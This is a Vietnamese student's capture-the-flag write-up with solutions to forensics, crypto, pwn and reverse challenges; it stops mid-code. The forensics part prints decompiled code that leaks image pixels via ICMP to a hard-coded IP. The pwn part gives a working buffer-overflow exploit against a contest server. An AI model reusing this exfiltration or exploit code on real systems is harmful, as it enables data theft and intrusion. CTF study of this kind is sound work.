# WannaGame NMLT Họ và tên: Vũ Hoàng Long Lớp: ATTN2024 MSSV: 24520019 Mảng chính: Reverse 7,5/8 bài # Forensic ## Insufficient Capacity More Please Load file vào Wireshark thì export được thư mục sau gồm 1 file exe và 2 file .pyc: ![image](https://hackmd.io/_uploads/ryF9Q9MIke.png) ![image](https://hackmd.io/_uploads/ryCnXqGLyx.png) Chạy thử file .exe thì hiện lên cửa sổ thông báo và không còn gì cả. Decomplie 2 file .pyc được như sau: ```python import socket import struct def RUN(MoMO='172.21.159.57', Okarun=1337, TurboBaba=None, ttl=64, Jiji=1379): Takakura_Ken = TurboBaba Jokai = struct.pack('!BBHHH', 8, 0, 0, Jiji, 1) Alien = OMG(Jokai + Takakura_Ken) Jokai = struct.pack('!BBHHH', 8, 0, socket.htons(Alien), Jiji, 1) JneAE = Jokai + Takakura_Ken with socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) as sock: sock.setsockopt(socket.IPPROTO_IP, socket.IP_TTL, struct.pack('I', ttl)) sock.settimeout(2) if Okarun: sock.sendto(JneAE, (MoMO, Okarun)) else: sock.sendto(JneAE, (MoMO, 0)) def OMG(TurboBaba): Alien = 0 if len(TurboBaba) % 2 != 0: TurboBaba += b'\x00' for i in range(0, len(TurboBaba), 2): Alien += (TurboBaba[i] << 8) + TurboBaba[i + 1] Alien = (Alien >> 16) + (Alien & 65535) Alien += Alien >> 16 return ~Alien & 65535 RUN(TurboBaba=b'flag{hello_isekai_}') ``` ```python from PIL import Image from Dandadan import RUN import random import win32api def MessBox(message=None, title=None): win32api.MessageBox(None, message, title, 1) flag = Image.open('flag{hehe}.png').convert('L') width, height = flag.size salt = b'\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567' for j in range(height): for i in range(width): pixel = flag.getpixel((i, j)).to_bytes(1, byteorder='big') ran = random.randint(0, 39) data = salt[0:ran] + pixel + salt[ran + 1:] RUN(TurboBaba=data) ``` Đọc qua thì có thể tóm tắt được: * Hàm MessBox thực hiện gửi socket đến máy chủ 172.21.159.57 (qua hàm Run) lần lượt các pixel của ảnh chứa flag. Các pixel đó được chuyển thành 1 byte và ẩn trong một đoạn data bao quanh bởi xâu salt bằng cách chèn pixel vào giữa và được gửi đi sau khi thêm một đoạn tiền tố gì đó. Đầu tiên mình cần dump lại tất cả các dữ liệu gửi cho 172.21.159.57, ICMP, length 82 và Export as C array. ![image](https://hackmd.io/_uploads/BJzhRsWI1e.png) ![image](https://hackmd.io/_uploads/SkKL1hZUye.png) Để chuyển kết quả về đúng định dạng mình mong muốn trong code thì mình đã viết thêm đoạn code python để prepare data ```python import sys sys.stdin = open('wsdump.c', 'r') sys.stdout = open('foren.cpp', 'w') id = 0 while 1: s = input() if 'pkt' in s: s = f'a[{id}]' + s[38:] print(s) id += 1 else: print(s) ``` Sau đó tạo một mảng base chỉ gồm đoạn salt mà không thêm kí tự nào vào gửi vào RUN hàm và lấy kết quả. Bây giờ chỉ việc so sánh nó với tất cả các vector a xem vị trí khác nhau đó là gì, 0x00 là pixel đen, 0xff là pixel trắng và thử in ra bằng các dấu khoảng trống và '#' ```cpp #include<bits/stdc++.h> using namespace std; #define int long long vector<int> a[1100], base; void getdata() { a[1] = { //... }; //...... base = { 0x00, 0x15, 0x5d, 0x86, 0x10, 0xdb, 0x00, 0x15, // ..]..... 0x5d, 0x54, 0x76, 0x91, 0x08, 0x00, 0x45, 0x00, // ]Tv...E. 0x00, 0x44, 0xc5, 0x98, 0x00, 0x00, 0x40, 0x01, // .D....@. 0x00, 0x00, 0xac, 0x15, 0x90, 0x01, 0xac, 0x15, // ........ 0x9f, 0x39, 0x08, 0x00, 0xc8, 0x52, 0x05, 0x63, // .9...R.c 0x00, 0x01, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, // ........ 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, // ........ 0x1e, 0x1f, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, // .. !"#$% 0x26, 0x27, 0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, // &'()*+,- 0x2e, 0x2f, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, // ./012345 0x36, 0x37 // 67 }; } signed main() { getdata(); int id = 0; for (int i = 1; i < 1090; ++i) { for (int j = 42; j < 82; ++j) if (a[i][j] != base[j]) { // cout << id << ' ' << a[i][j] << '\n'; if (a[i][j] > 0) cout << id << ", "; ++id; // if (a[i][j] > 0) cout << '#'; // else cout << ' '; // if (id % 33 == 0) cout << endl; } } getchar(); return 0; } ``` Kết quả ra được: ![image](https://hackmd.io/_uploads/HyeXoj-Ukg.png) Có vẻ là mã QR nhưng quét mãi không được, chắc tại hơi nhỏ với chưa đủ nét. Mà vì không cài được OpenCV trên c++ nên lại phải qua python code để in ra cái ảnh để mà quét. ```python import numpy as np import cv2 as cv qr = [7, 8, 9, 10, 11, 17, 19, 20, 23, 24, 25, 34, 35, 36, 37, 38, 40, 41, 43, 47, 50, 53, 55, 58, 60, 61, 62, 63, 64, 67, 71, 73, 74, 78, 79, 83, 85, 86, 87, 88, 89, 91, 93, 97, 100, 104, 106, 107, 109, 113, 114, 115, 118, 119, 120, 121, 124, 126, 130, 133, 137, 139, 141, 142, 145, 149, 151, 157, 159, 163, 166, 167, 168, 169, 170, 172, 173, 174, 177, 180, 184, 187, 189, 190, 192, 193, 194, 195, 196, 205, 207, 209, 211, 213, 215, 217, 219, 221, 223, 231, 232, 233, 234, 235, 236, 237, 238, 247, 250, 252, 254, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 268, 269, 277, 279, 280, 283, 291, 293, 294, 295, 296, 297, 298, 300, 303, 305, 306, 308, 309, 311, 312, 314, 315, 320, 321, 322, 323, 324, 325, 331, 335, 337, 340, 345, 346, 347, 351, 352, 354, 355, 356, 359, 360, 364, 366, 367, 369, 370, 371, 372, 373, 376, 378, 379, 380, 382, 384, 385, 386, 388, 389, 390, 391, 393, 394, 395, 396, 397, 398, 399, 400, 401, 403, 405, 406, 407, 411, 413, 418, 422, 424, 427, 429, 433, 434, 435, 439, 440, 441, 442, 443, 446, 450, 452, 455, 456, 457, 458, 459, 465, 466, 467, 471, 479, 480, 481, 482, 483, 485, 486, 488, 493, 494, 495, 498, 499, 501, 502, 505, 506, 507, 510, 513, 515, 517, 518, 519, 521, 522, 524, 527, 528, 531, 532, 535, 536, 537, 539, 544, 547, 549, 552, 555, 557, 560, 561, 562, 563, 567, 571, 573, 577, 578, 582, 583, 584, 587, 588, 591, 592, 594, 596, 598, 599, 604, 605, 606, 608, 609, 614, 615, 616, 617, 618, 621, 622, 624, 625, 626, 627, 628, 629, 632, 633, 634, 635, 638, 640, 643, 644, 645, 646, 648, 650, 651, 652, 653, 654, 655, 657, 659, 661, 662, 663, 668, 669, 670, 671, 674, 675, 679, 681, 682, 683, 685, 688, 692, 694, 695, 698, 699, 700, 701, 702, 705, 707, 708, 709, 710, 711, 713, 715, 716, 718, 719, 721, 722, 725, 726, 727, 728, 729, 730, 731, 733, 739, 740, 741, 742, 743, 744, 745, 746, 747, 748, 751, 752, 755, 759, 761, 762, 763, 764, 765, 767, 768, 770, 774, 776, 777, 778, 780, 781, 782, 783, 784, 785, 787, 789, 793, 803, 804, 806, 807, 808, 809, 811, 813, 814, 815, 824, 825, 826, 827, 828, 829, 830, 831, 832, 835, 839, 840, 841, 845, 850, 851, 852, 854, 855, 856, 857, 865, 868, 873, 876, 878, 880, 883, 885, 888, 889, 890, 892, 893, 894, 895, 896, 898, 899, 901, 904, 905, 907, 908, 912, 913, 916, 917, 918, 920, 925, 929, 931, 932, 933, 935, 936, 937, 938, 941, 943, 945, 953, 956, 958, 962, 964, 967, 969, 971, 972, 974, 975, 976, 980, 981, 982, 983, 985, 986, 988, 989, 991, 995, 997, 999, 1005, 1009, 1010, 1011, 1014, 1015, 1016, 1017, 1018, 1021, 1022, 1024, 1025, 1026, 1027, 1028, 1030, 1031, 1034, 1036, 1037, 1040, 1041, 1046, 1048, 1051, 1052, 1053, 1054, 1063, 1064, 1067, 1068, 1069, 1071, 1073, 1075, 1077, 1079, 1080, 1083, 1087, 1088,] img = np.zeros((330,330,3), np.uint8) a = [[0 for j in range(33)] for i in range(33)] id = 0 x = 0 for i in range(33): for j in range(33): if qr[x] == id: a[i][j] = 1 x += 1 id += 1 for i in range(330): for j in range(330): if a[i // 10][j // 10]: img[i][j] = (255, 255, 255) cv.imshow('test', img) cv.waitKey(0) ``` Kết quả ra một mã QR và sau khi quét thì ra flag: ![image](https://hackmd.io/_uploads/Hy70r9fUke.png) # Crypto ## substitution Chương trình đã đọc flag và thay đổi các kí tự theo dict KEY, vậy ta chỉ cần làm ngược lại xem trước đó là kí tự gì để sau khi hoán đổi thu được ```V1{lxwlzozxzogf}``` ```python KEY = { 'A': 'Q', 'B': 'W', 'C': 'E', 'D': 'R', 'E': 'T', 'F': 'Y', 'G': 'U', 'H': 'I', 'I': 'O', 'J': 'P', 'K': 'A', 'L': 'S', 'M': 'D', 'N': 'F', 'O': 'G', 'P': 'H', 'Q': 'J', 'R': 'K', 'S': 'L', 'T': 'Z', 'U': 'X', 'V': 'C', 'W': 'V', 'X': 'B', 'Y': 'N', 'Z': 'M', 'a': 'q', 'b': 'w', 'c': 'e', 'd': 'r', 'e': 't', 'f': 'y', 'g': 'u', 'h': 'i', 'i': 'o', 'j': 'p', 'k': 'a', 'l': 's', 'm': 'd', 'n': 'f', 'o': 'g', 'p': 'h', 'q': 'j', 'r': 'k', 's': 'l', 't': 'z', 'u': 'x', 'v': 'c', 'w': 'v', 'x': 'b', 'y': 'n', 'z': 'm', } s = "V1{lxwlzozxzogf}" for i in s: flag = 0 for c in KEY: if i == KEY[c]: print(c, end = '') flag = 1 break if flag == 0: print(i, end = '') ``` ## hix Từng kí tự của flag đã được mã hóa +20 mod 130 rồi đem đi encrypt bởi nhiều thuật khác nhau. Tuy vậy số lượng vẫn khá ít nên chỉ cần thử hết các kí tự với tất cả các cách encrypt cho đến khi khớp. ```python import hashlib import random methods = ['md5', 'sha256', 'sha3_256', 'sha3_512', 'sha3_384', 'sha1', 'sha384', 'sha3_224', 'sha512', 'sha224'] def encrypt(x, method) : hash_obj = hashlib.new(method) hash_obj.update(x.encode()) return hash_obj.hexdigest() ct = ['f189636f8eef640b55d03387864fd17efd324453cc9276be5ff6bd4da88b13fca72438daaab00830a6d14330d37c0f7bee1e7c32d5dda0541a171f66a2343dc1', '1388cafa58065fa0c04372ce57f303cc4ec9fe62', 'f6266e2849bf8b8575701814cc3f3eb5369e887db54b34e85b1e4608b4fbf5e5', '31f33ac191e818db784cf8321d70f84763db2b2e599f90cf65868eec85a10f20ae0e23aa1cd48c2f13eec355b2975089490761a291ac2a1bcf33f5fbecead431', '981e4bce5dede3faa51a936f650e2c1d64169493860c67d68a1ffbbfa32f58598e7869f3f11aefc1620ee8d3ebe4e5f5', 'f06ffaaa6290bf47d26ba2c09c28dddd8f5bcad6ac464ec17fea48040acf1214d10bc109b7c47cffddb6bccd6b61b61a9e629a8f47ab26b80593f29c8c297489', 'a7d95b3bbde885b4eaa76afc6572e18e4483351005f637fe1f5a7bc0b000fe1f', '85245de371c327440a5f343f27d6df361225806e679950bab3a5a336', 'ea1923e909de3c3c3384ad9ae7696d73', '21df20aab35967470aada32375f535d4a735789bf0789fd421f85163c4d75c6e', 'b9491ae1a9de40d30a86c00139bd7d6f496f5bf4ce013bc2d5a43a97', '03f061f60f3527b15ff31d31dcce0761', '981e4bce5dede3faa51a936f650e2c1d64169493860c67d68a1ffbbfa32f58598e7869f3f11aefc1620ee8d3ebe4e5f5', 'f2a1a7e9dd5e6363050b0cdb0579ebfebdc5e348ab538bdcf47616139351cf2b9f92cb4d14446b3ad8bf182875b81e75', '24aaafc58a2b897aed5829b2e96d73b1de7cd680d76a1143cdc8baef', '6d80d11e5f1161ef86619dcdb186852b5218d6ac224b81b63555fe73741631c36ae0bcb5b3228fbed796c22dedeed587c9d65ddb825aee4fae92b6619e7ffd8f', '6f8b39550106044625102ee0cabf9fe1393f0013388633d5742fcc7e8df7708793a96885b9d18b795a2b0d9014704b9f', 'ddf3c543be9cac44f3af078583fe5fddb64104d93308c146c23f52ff25b2a6e23606c42dc0060a4dd9b11b446759cb5de1844471eb3d6d25c43c6fcc0d8d60c4', '95f2739053cf64555b0c0662b5e2d63822433f7fcac6960de6d57efda427461a58c6e2ffac6da6f4caa9407df10cc0be', 'a1bd4e0efc7ce8bd1d63433a0baa87e3a486fbfe2729d73d1dbf7d2822d201ee8726c6d94da1f09f1a53554e440ad6041ecab545b2085dc28c6f6849f0fcea23', 'a7d95b3bbde885b4eaa76afc6572e18e4483351005f637fe1f5a7bc0b000fe1f', '2b4561a521a82af6a26dfb76078ca97ba53a720f7ee67d923a6d3a13', 'b21ed1f3d501a8a842ef1b26ed3863cf10cf8231ee23a079f749cfa322702c8e', 'd798a32b52384219f8779dccf8b2173f4b73f075cbeb4507ee83c94e', 'b863fa3492fb87edcdef766f38a508ed', '9f876db4b58c1b7e499f35cdbd533a810060a0c8250bfc5421e0f42b2715b027', '4b14748ba0f3da581ddd7ec49dac41d34ea1ee6dae90818333b11501', '85153b2a5f8dea7f5488906cb65d61e9ac0666057636ff6b356dd4d8d0fc5d20', '6b91d6259827176bcb3f312a8faca297e56c7e627235b930cf8163b3e7a5328b', 'b21ed1f3d501a8a842ef1b26ed3863cf10cf8231ee23a079f749cfa322702c8e', '4c8740f90af1055f194a4c8e1b69522da228812465eb72b82b35c927bc48bf9d', 'b248b6b2f2c9365aa9a0e9b37a8057effd29bb2f34c79ec0b40124d08986832b5d227db95cb97b176541589985762d9a', '7260f9b5d1c58d0609523114ed324f396335d940f852dba558461b34c5a53630', 'a1bd4e0efc7ce8bd1d63433a0baa87e3a486fbfe2729d73d1dbf7d2822d201ee8726c6d94da1f09f1a53554e440ad6041ecab545b2085dc28c6f6849f0fcea23', '1077caf3ed754ed8fbd49c76134906e8', 'f3565219d115ec74a85056997cc25e98e3e4912a31c858c1e45b841047698e93', '83315b8fa07a35b12e3f47ebb365268b4a4a8ef2', '64c008d6460c2b98aba616b1d0d11a06b9df564b87d3aeedda83b36aacd3d0c160465109eb06c62e86e360cf026faa27a616dbbf2bec269be9ad128af96073bb', '60bbd94b3ac3ea7149fc6cd850d72d4f1750601275832815dd9a23d4c3757d84aca29d716da5dd72a0045f15ff969925', '94327e8c8321421e72f52cd726336e824630ec7dda31b07ce83f11b8234aea7a', 'a69ef62254280226cc4223a2341c727afcd7ce4e3ffd3f2f1c57d9d3cd30659b52b1c2b56f911a7157041b5f0ff8176f', '3c904622c8d8d79c6704d50ae0175b049b3a5708705ecdce932fe426b9f46f1bd6585b8288c1d38f6301c31af5feac02', 'a3939bf491ffd9824056e249d6e355d8423855f0'] for i in range(len(ct)) : for char in range(33, 128): x = (char + 20) % 130 x = hashlib.sha512(str(x).encode()).hexdigest() found = 0 for method in methods: y = x y = encrypt(y, method) # print(y) if y == ct[i]: print(chr(char), end = '') found = 1 if found: break ``` ``` ``` # Pwn ## Hello pwner ## Guess Me Đây là bài thuật toán chặt nhị phân dạng interactive kinh điển, chỉ cần viết pwntool tương tác với server là được. ```python from pwn import * target = remote("chall.w1playground.com", 12900) # target = process("./chall") s = target.recvuntil(b"Enter your guess:") l = 1 r = 100000000 while l <= r: mid = l + r >> 1 log.info(mid) target.sendline(bytearray(str(mid).encode())) s = target.recvline() t = target.recvline() target.recv() s = s.split() log.info(s) if s[1] == b"low!": l = mid + 1 else: r = mid - 1 if s[0] == b'Congratulations!': print(t) break ``` ## sint ![image](https://hackmd.io/_uploads/rk3xOsmL1x.png) Chương trình có hàm win để in ra flag nhưng không hề gọi vào đó, mình sẽ phải làm overflow hàm pwn để return về hàm win. Thả vào file sint vào IDA để tìm địa chỉ hàm win: ![image](https://hackmd.io/_uploads/SJDo_iQ8Jg.png) Thấy được hàm win ở địa chỉ 0804928B Để ý rằng buf đã có kích thước cố định là 256, chương trình gọi hàm read vào mảng buf với size-16 và cũng đã check size nằm trong khoảng từ 0 đến 256. Vậy nếu size < 16 thì size-16 sẽ âm! Tìm hiểu về hàm ```read``` trong C: ```read(int fd, void *buffer, size_t count)``` Biến count có kiểu dữ liệu là size_t, tương tự như unsigned int, nó chỉ nhận giá trị không âm (0..2^32-1), nên khi gọi hàm read mà tham số count âm (-16) thì nó sẽ bị ép thành 2^32-16. Vậy chỉ cần nhập size = 0 thì sẽ gây ra lỗi buffer overflow ở hàm read. Khi đó biến count cũng đã rất lớn nên mình cũng sẽ không quan tâm nữa. Vì cũng lười tìm OFFSET nên mình sẽ cho chạy trâu luôn: ```python from pwn import * for OFFSET in range(256): target = remote('chall.w1playground.com', 40011) target.recv() target.sendline(b'0') target.recv() payload = b'a'*(256 + OFFSET) + b'\x8B\x92\x04\x08' target.sendline(payload) try: print(target.recv()) print(target.recv()) print(target.recv()) print(target.recv()) target.close() except: target.close() ``` ![image](https://hackmd.io/_uploads/HJYYCoQLJl.png) # Reverse ## Easy Flag Checker Hàm main cũng chính là check flag luôn ![image](https://hackmd.io/_uploads/BJT6-ofUyx.png) Flag có 20 kí tự, mỗi kí tự được đem đi xor với 0x38, kết quả thu về khớp với mảng dword_4020 thì đúng. ![image](https://hackmd.io/_uploads/SkONGsz8ye.png) Vậy chỉ cần đem mảng đó đi xor với 0x38 rồi in ra xem thì được flag luôn. ```python a = [0x6F, 9, 0x43, 0x4E, 0x0B, 0x4A, 0x41, 0x67, 0x0B, 0x0C, 0x4B, 0x41, 0x67, 0x4A, 9, 0x5F, 0x50, 0x0F, 7, 0x45] for i in a: print(chr(i ^ 0x38), end = '') ``` ## GiacMoTrua1 Có thể dùng pycdc hoặc tool online để decomplie ra file python: ```py dic = [0] * 85 dic[0] = 33 dic[1] = 35 dic[2] = 36 dic[3] = 37 #... dic[82] = 122 dic[83] = 123 dic[84] = 125 flag = input('Let me help you check your flag: ') length = len(flag) ans = [0] * length * 2 for i in range(length): ans[i] = dic[ord(flag[i]) ^ 112] for i in range(length, length * 2): ans[i] = ans[i - length] fin = '' for i in range((23 * length + 16) % length, (23 * length + 16) % length + length): fin += chr(ans[i]) if fin == 'R8Abq,R&;j%R6;kiiR%hR@k6iy0Ji.[k!8R,kHR*i??': print('Rightttt!') print('Heyy you are really lovely, i promise!') else: print('Think more....') ``` Hàm check flag đã khá rõ ràng rồi, flag đã nhân đôi lên rồi lấy đoạn giữa, các kí tự cũng được xor với 112, vậy giờ chỉ cần tìm lại các kí tự ban đầu ```python #... dic[82] = 122 dic[83] = 123 dic[84] = 125 fin = 'R8Abq,R&;j%R6;kiiR%hR@k6iy0Ji.[k!8R,kHR*i??' flag = '' for i in range(len(fin)): for c in range(33, 128): if (c ^ 112) < 85 and dic[c ^ 112] == ord(fin[i]): flag += chr(c) break print(flag[-16:] + flag[:-16]) ``` ## Giacmotrua2 Bài này load file vào IDA là ra flag rồi ![image](https://hackmd.io/_uploads/SyDsUqMLJe.png) ![image](https://hackmd.io/_uploads/B1qTUqfLyx.png) Nhưng mà chưa đâu còn hàm Lookthis: ![image](https://hackmd.io/_uploads/SyzXucMUJl.png) Chỉ là swap một vài vị trí của flag thôi nên chỉ cần làm ngược từ dưới lên là ra flag ban đầu. ```cpp #include <bits/stdc++.h> using namespace std; signed main() { string s = "W1{live_speels_a5_NoOn_4v4ry______}"; for (int i = 32; i >= 29; --i) { int j = 61 - i; if (i < j) swap(s[i], s[j]); } for (int i = 13; i >= 8; --i) { int j = 21 - i; if (i < j) swap(s[i], s[j]); } for (int i = 6; i >= 3; --i) { int j = 9 - i; if (i < j) swap(s[i], s[j]); } cout << s; return 0; } ``` ## Final Flag Checker Hàm main: ```c __int64 __fastcall main(int a1, char **a2, char **a3) { int v4; // eax int v5; // [rsp+0h] [rbp-430h] int i; // [rsp+4h] [rbp-42Ch] int j; // [rsp+8h] [rbp-428h] int k; // [rsp+Ch] [rbp-424h] int m; // [rsp+10h] [rbp-420h] int n; // [rsp+14h] [rbp-41Ch] char input[256]; // [rsp+20h] [rbp-410h] BYREF char v12[776]; // [rsp+120h] [rbp-310h] BYREF unsigned __int64 v13; // [rsp+428h] [rbp-8h] v13 = __readfsqword(0x28u); printf("Enter the flag: "); fgets(input, 256, stdin); input[strcspn(input, "\n")] = 0; if ( (unsigned int)strlen(input) == 25 ) { sub_159C((__int64)input, (__int64)aArcaea, (__int64)v12, 25, 6u); v5 = 0; for ( i = 0; i <= 8; ++i ) { for ( j = 0; j <= 8; ++j ) { if ( !byte_4220[9 * i + j] ) { v4 = v5++; v12[v4 + 512] = 16 * i + j; } } } for ( k = 0; k < 25; ++k ) v12[k] ^= byte_4020[k]; for ( m = 0; m < 25; ++m ) { v12[2 * m + 256] = (unsigned __int8)v12[m] >> 4; v12[2 * m + 257] = v12[m] & 0xF; } for ( n = 0; n < v5; ++n ) byte_4220[9 * ((unsigned __int8)v12[n + 512] >> 4) + (v12[n + 512] & 0xF)] = v12[n + 256]; if ( sub_1461((__int64)byte_4220) ) puts("Correct!"); else puts("No!"); return 0LL; } else { puts("No!"); return 0LL; } } ``` * Nhập vào input, kiểm tra phải có 25 kí tự * Gọi hàm ```sub_159C``` làm gì đó * Thêm nhiều phép biến đổi nữa * For gán lại giá trị cho biến ```byte_4220``` * Gọi hàm ```sub_1461``` kiểm tra với tham số ```byte_4220``` nếu trả về true thì ```puts("Correct!");``` Giờ mình sẽ đi ngược từ dưới lên trên. Hàm cuối cùng để check đáp án là sub_1461: ```c _BOOL8 __fastcall sub_1461(__int64 a1) { return (unsigned __int8)sub_11E9(a1) && (unsigned __int8)sub_12A7(a1) && (unsigned __int8)sub_1365(a1); } __int64 __fastcall sub_11E9(__int64 a1) { unsigned __int8 v2; // [rsp+13h] [rbp-1Dh] int i; // [rsp+14h] [rbp-1Ch] int j; // [rsp+18h] [rbp-18h] __int64 v5; // [rsp+1Eh] [rbp-12h] __int16 v6; // [rsp+26h] [rbp-Ah] unsigned __int64 v7; // [rsp+28h] [rbp-8h] v7 = __readfsqword(0x28u); for ( i = 0; i <= 8; ++i ) { v5 = 0LL; v6 = 0; for ( j = 0; j <= 8; ++j ) { v2 = *(_BYTE *)(a1 + 9LL * i + j); if ( !v2 || v2 > 9u || *((_BYTE *)&v5 + v2) ) return 0LL; *((_BYTE *)&v5 + v2) = 1; } } return 1LL; } __int64 __fastcall sub_12A7(__int64 a1) { unsigned __int8 v2; // [rsp+13h] [rbp-1Dh] int i; // [rsp+14h] [rbp-1Ch] int j; // [rsp+18h] [rbp-18h] __int64 v5; // [rsp+1Eh] [rbp-12h] __int16 v6; // [rsp+26h] [rbp-Ah] unsigned __int64 v7; // [rsp+28h] [rbp-8h] v7 = __readfsqword(0x28u); for ( i = 0; i <= 8; ++i ) { v5 = 0LL; v6 = 0; for ( j = 0; j <= 8; ++j ) { v2 = *(_BYTE *)(a1 + 9LL * j + i); if ( !v2 || v2 > 9u || *((_BYTE *)&v5 + v2) ) return 0LL; *((_BYTE *)&v5 + v2) = 1; } } return 1LL; } __int64 __fastcall sub_1365(__int64 a1) { unsigned __int8 v2; // [rsp+1Bh] [rbp-25h] int i; // [rsp+1Ch] [rbp-24h] int j; // [rsp+20h] [rbp-20h] int k; // [rsp+24h] [rbp-1Ch] int m; // [rsp+28h] [rbp-18h] __int64 v7; // [rsp+2Eh] [rbp-12h] __int16 v8; // [rsp+36h] [rbp-Ah] unsigned __int64 v9; // [rsp+38h] [rbp-8h] v9 = __readfsqword(0x28u); for ( i = 0; i <= 8; i += 3 ) { for ( j = 0; j <= 8; j += 3 ) { v7 = 0LL; v8 = 0; for ( k = 0; k <= 2; ++k ) { for ( m = 0; m <= 2; ++m ) { v2 = *(_BYTE *)(a1 + 9LL * (i + k) + j + m); if ( !v2 || v2 > 9u || *((_BYTE *)&v7 + v2) ) return 0LL; *((_BYTE *)&v7 + v2) = 1; } } } } return 1LL; } ``` ```sub_1461``` là tổng hợp điều kiện của 3 hàm con tương đối giống nhau (hoặc không :v). Mình thấy điểm chung là nó đều dùng mảng đánh dấu một vài giá trị tại một vài vị trí của a1 mà nó không được xuất hiện nhiều lần. Viết lại các hàm đó: ```cpp bool sub_11E9(int a[]) { for (int i = 0; i < 9; ++i) { memset(check, 0, sizeof check); for (int j = 0; j < 9; ++j) { int val = a[i * 9 + j]; if (val == 0 || val > 9 || check[val]) return 0; check[val] = 1; } } return 1; } bool sub_12A7(int a[]) { for (int i = 0; i < 9; ++i) { memset(check, 0, sizeof check); for (int j = 0; j < 9; ++j) { int val = a[j * 9 + i]; if (val == 0 || val > 9 || check[val]) return 0; check[val] = 1; } } return 1; } bool sub_1365(int a[]) { for (int i = 0; i <= 8; i += 3) { for (int j = 0; j <= 8; j += 3) { memset(check, 0, sizeof check); for (int k = 0; k <= 2; ++k) { for (int m = 0; m <= 2; ++m) { int val = a[9 * (i + k) + j + m]; if (val == 0 || val > 9 || check[val]) return 0; check[val] = 1; } } } } return 1; } ``` Phân tích kĩ thì nó giống như một bảng số của trò sudoku, các số cùng hàng, cùng cột, cùng góc phần 9 phải khác nhau. Hàm này nhận biến ```byte_4220``` làm đầu vào (a1) nên mình sẽ xem thử nó chứa gì. ![image](https://hackmd.io/_uploads/HknwOWTHye.png) Có vẻ chỉ là một mảng bình thường có 81 giá trị số nguyên (ban đầu, sau đó được gán lại ở khúc trên). Nhưng liệu mình đoán đây là trạng thái bàn cờ sudoku ban đầu cần phải giải có đúng không nhỉ? Nếu vậy thì bằng đệ quy quay lui mình có thể sinh được đáp án (có lẽ là duy nhất) của bảng sudoku này: ``` 8 5 4 2 6 1 9 3 7 2 3 7 5 4 9 6 1 8 9 1 6 3 7 8 4 5 2 4 7 5 8 9 2 1 6 3 1 8 9 4 3 6 7 2 5 6 2 3 7 1 5 8 9 4 7 4 1 9 2 3 5 8 6 5 6 2 1 8 7 3 4 9 3 9 8 6 5 4 2 7 1 ``` Vậy là ta đã có mảng ```byte_4220``` để cho ra kết quả đúng, việc tiếp theo là reverse về mảng v12 và tìm input. 1. Vòng for v5: ```c for ( n = 0; n < v5; ++n ) byte_4220[9 * ((unsigned __int8)v12[n + 512] >> 4) + (v12[n + 512] & 0xF)] = v12[n + 256]; ``` Trong đó v5 là số lượng giá trị = 0 trong bảng ban đầu (v5=50). Phép >> 4 tương đương với /16, còn & 0xF (15 là 1111 trong nhị phân) là lấy 4 bit cuối hay có thể hiểu là %16. Vì phía trên có một đoạn khởi tạo (2 for i j): khi ```byte_4220[9 * i + j] = 0``` thì ```v12[v4 + 512] = 16 * i + j``` nên có thể kết luận ```v12[n + 512]``` là một giá trị ở hệ 16, với 2 byte lưu tọa độ của các ô sudoku chưa được điền (=0) ban đầu. Gán bằng ```v12[n + 256]```. Vậy từ v12[n + 256] đến 50 vị trí sau là chứa các tọa độ của 50 ô trống. Vậy ta đã khôi phục được mảng ```v12[512..512+50-1]``` và ```v12[256..256+50-1]```. 2. Vòng for 25: ```c for ( m = 0; m < 25; ++m ) { v12[2 * m + 256] = (unsigned __int8)v12[m] >> 4; v12[2 * m + 257] = v12[m] & 0xF; } ``` Đây là là chỗ gán giá trị cho 50 ô ở trên, chỉ lưu trữ ở 25 kí tự, mỗi kí tự 2 byte (c/16 và c%16) nên mình cũng sẽ điền được giá trị cho ```v12[256..256+25-1]```. Đến đây thì đã có thể build được 25 giá trị đầu của v12: 3. Vòng for xor: ```c for ( k = 0; k < 25; ++k ) v12[k] ^= byte_4020[k]; ``` Chỉ đơn giản là đem 25 vị trí đầu tiên xor từng cặp tương ứng với mảng byte_4020 ![image](https://hackmd.io/_uploads/SyS_14pBye.png) 4. Hàm ```sub_159C```: Vậy là chỉ còn một hàm cuối cùng nữa thôi: ```sub_159C((__int64)input, (__int64)aArcaea, (__int64)v12, 25, 6);``` ```c unsigned __int64 __fastcall sub_159C(__int64 input, __int64 Arcaea, __int64 v12, int len25, int number6) { __int64 v5; // kr00_8 char v9; // [rsp+22h] [rbp-11Eh] int v10; // [rsp+24h] [rbp-11Ch] int v11; // [rsp+28h] [rbp-118h] int i; // [rsp+2Ch] [rbp-114h] char v13[264]; // [rsp+30h] [rbp-110h] BYREF unsigned __int64 v14; // [rsp+138h] [rbp-8h] v14 = __readfsqword(0x28u); v10 = 0; v11 = 0; sub_14B2(Arcaea, (__int64)v13, number6); for ( i = 0; i < len25; ++i ) { v10 = (v10 + 1) % 256; v5 = (unsigned __int8)v13[v10] + v11; v11 = (unsigned __int8)(HIBYTE(v5) + v13[v10] + v11) - HIBYTE(HIDWORD(v5)); v9 = v13[v10]; v13[v10] = v13[v11]; v13[v11] = v9; *(_BYTE *)(i + v12) = v13[(unsigned __int8)(v13[v10] + v13[v11])] ^ *(_BYTE *)(i + input); } return v14 - __readfsqword(0x28u); } unsigned __int64 __fastcall sub_14B2(__int64 Arcaea, __int64 v13, int number6) { unsigned __int64 result; // rax unsigned int v4; // edx unsigned __int8 v6; // [rsp+1Bh] [rbp-9h] int i; // [rsp+1Ch] [rbp-8h] int j; // [rsp+1Ch] [rbp-8h] int v9; // [rsp+20h] [rbp-4h] v9 = 0; for ( i = 0; i <= 255; ++i ) { result = i + v13; *(_BYTE *)result = i; } for ( j = 0; j <= 255; ++j ) { v4 = (*(unsigned __int8 *)(j + v13) + v9 + *(unsigned __int8 *)(j % number6 + Arcaea)) >> 31; v9 = (unsigned __int8)(HIBYTE(v4) + *(_BYTE *)(j + v13) + v9 + *(_BYTE *)(j % number6 + Arcaea)) - HIBYTE(v4); v6 = *(_BYTE *)(j + v13); *(_BYTE *)(j + v13) = 